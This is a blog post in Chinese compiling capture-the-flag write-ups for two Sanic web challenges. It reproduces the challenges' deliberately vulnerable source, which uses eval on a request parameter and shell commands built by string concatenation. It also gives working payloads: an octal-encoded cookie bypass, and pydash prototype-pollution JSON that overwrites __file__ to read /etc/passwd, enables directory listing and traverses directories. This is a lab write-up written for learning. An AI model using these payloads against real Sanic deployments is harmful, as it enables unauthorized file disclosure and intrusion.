DASCTF2024暑期挑战赛|为热爱,并肩作战

菜鸡一个,只是整理其他大佬的wp学习。


Web

 CISCN2024国赛 Sanic 

  1. 这道题也与python原型链污染和sanic有关,在做Sanic's revenge之前需要先做这道题,可以更好的理解,靶场在CTFSHOW。

大佬wp1:https://www.cnblogs.com/gxngxngxn/p/18205235

大佬wp2:从CISCN2024的sanic引发对python“原型链”的污染挖掘 - 先知社区

  1. 题目提示敏感目录/src和/admin,/src显示题目源码,/admin显示forbidden
    from sanic import Sanic
    from sanic.response import text, html
    #from sanic_session import Session
    import sys
    import pydash
    # pydash==5.1.2
    
    
    class Pollute:
        def __init__(self):
            pass
    
    
    app = Sanic(__name__)
    app.static("/static/", "./static/")
    #Session(app)
    
    
    @app.route('/', methods=['GET', 'POST'])
    async def index(request):
        return html(open('static/index.html').read())
    
    
    @app.route("/login")
    async def login(request):
        user = request.cookies.get("user")
        if user.lower() == 'adm;n':
            request.ctx.session['admin'] = True
            return text("login success")
    
        return text("login fail")
    
    
    @app.route("/src")
    async def src(request):
        eval(request.args.get('gxngxngxn'))
        return text(open(__file__).read())
    
    
    @app.route("/admin", methods=['GET', 'POST'])
    async def admin(request):
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")
    
    #print(app.router.name_index['name'].directory_view)
    
    if __name__ == '__main__':
        app.run(host='0.0.0.0')
    
  2. 分析一下源码,在/login路由处需要输入"adm;n",但是直接输入会login fail,因为有个;,会直接在分号处截断。这里很多wp说考的是RFC2068的解码规则,我觉得有个wp说的更好,是因为sanic框架源码/sanic/cookie/request.py中的_unquote函数存在八进制解码的逻辑,OCTAL_PATTERN,所以可以将;编码为八进制/073绕过。
    payload1:
    cookie:user="adm\073n"

  3. 拿到admin的session以后就可以进入/admin路由了,源码中这里调用pydash.set_函数,而且源码中特意强调pydash==5.1.2,因此可以利用python原型链污染。
  4. 源码中src路由存在__file__,污染这个属性后就可以实现任意文件读取。然后访问/src目录可以到显示/etc/passwd内容。
    payload2:
    {"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}
    

  5. 污染成功,但我们不知道flag的文件名,所以继续寻找可污染变量,注意到注册的static路由会添加DirectoryHandler到route。在sanic框架中有两个重要参数directory_view和directory_handler。当directory_view为True时,会开启列目录功能,directory_handler中可以获取指定的目录。
  6. 继续跟进directory_handler,发现directory_handler是对DirectoryHandler类的实例化,发现了directory_view和directory参数。所以,我们只要将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了。
  7. 那如何访问调用directory_view参数呢?因为这个框架可以通过app.router.name_index['xxxx']来获取注册的路由。
    payload3:开启列目录
    {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
    
    payload4:将目录设置在根目录下
    {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
  8. 访问/static/,可以看到根目录下所有文件,发现flag文件名,然后利用payload2污染file读取flag即可。

payload5:
{"key":"__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}

访问/src,得到flag!!! 

Sanic's revenge

 大佬wp:https://www.cnblogs.com/gxngxngxn/p/18290489

  1. 我在拿到题目的时候,尝试搜索sanic框架,显示是有python原型链污染,但我完全不知道这是什么?先学习一下概念。

在Python中每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。

        2.分析一下源码,/pollute路由提供了一个污染点pydash.set_,通过传参key和value可以实现原型链污染。此外,这个路由还设置了一个waf,如果触发了waf,就会将key和value的值写入/tmp目录下的文件中。还存在一个未知名称的路由secret。

        3.与CISCN2024国赛Sanic不同的是,这里没有__file__属性可以污染,所以尝试file_or_directory,它类似于flask中的_static_url_path,污染后可以直接访问到文件。

payload1:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/"}

         4.然后通过访问/static/proc/1/cmdline显示当前进程的启动路径为/bin/bash/start.sh,访问/static/start.sh可以看到运行的是/app下的python文件,利用file_or_directory访问该路径可以得到页面完整源代码。

#### 源码
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash


# pydash==5.1.2

# 源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
    def __init__(self):
        pass


def create_log_dir(n):
    ret = ""
    for i in range(n):
        num = random.randint(0, 9)
        letter = chr(random.randint(97, 122))
        Letter = chr(random.randint(65, 90))
        s = str(random.choice([num, letter, Letter]))
        ret += s
    return ret


app = Sanic(__name__)
app.static("/static/", "./static/")


@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
    with open("/h111int", 'r') as f:
        hint = f.read()
    return text(hint)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
    # 方便管理员查看非法日志
    log_dir = os.popen('ls /tmp -al').read();
    return text(log_dir)


@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(
            value) and type(value) is not list:
        pollute = Pollute()
        pydash.set_(pollute, key, value)
        return text("success")
    else:
        log_dir = create_log_dir(6)
        log_dir_bak = log_dir + ".."
        log_file = "/tmp/" + log_dir + "/access.log"
        log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
        log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
        # 生成日志文件
        os.system("mkdir /tmp/" + log_dir)
        with open(log_file, 'w') as f:
            f.write(log)
        # 备份日志文件
        os.system("mkdir /tmp/" + log_dir_bak)
        with open(log_file_bak, 'w') as f:
            f.write(log)
        return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

         5.完整源码中显示了secret的路径,访问可知flag在/app目录下,但不知道flag文件名。还有一个/adminLook,访问一开始只有一个文件,尝试非法的key和value,再次访问发现多了两个文件。

         6.在大佬的wp中,因为没有__file__属性可以污染,所以利用上面多出的备份文件"tPbxV4.."在DirectoryHandler类中的handle方法可以实现目录穿越,直接列出上层目录下的文件。原理如下:

  • 在Sanic框架中有两个重要参数directory_view和directory_handler。而查看Sanic框架源码可以发现directory_handler是对Directory Handler类的实例化,在Directory Handler类有两个参数,directory_view和directory。
  • 而列出的目录路径就是由self.directory(这玩意是个对象,这里的值是其中的parts控制的)+current拼接得到的
  •  所以如果能控制current的值,例如为"..",就可以实现目录穿越,直接列出上层目录下的文件
  • 而current的值又由两个值决定:path和base。下面代码的意思是先去除path两端的斜杠/,然后去除base,最后在去除两端的斜杠。例如path为/static/ctf../,base为static,而current的值为“ctf.."。所以只要控制base的值为statc/ctf即可让current的值为".."
payload2:先开启列目录
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

payload3:切换到tmp目录下
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory","value": "/tmp"}

payload4:污染base的值
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/tPbxV4"}

         7.然后访问/static/tPbxV4../,图片不一致是因为实例到期,又开启了新的实例。可以看到flag文件名。然后再切换到根目录下,访问/static/app/flag文件名即可得到flag

payload5与payload1一致

EasyJob

待更新中 。。。

  • 6
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值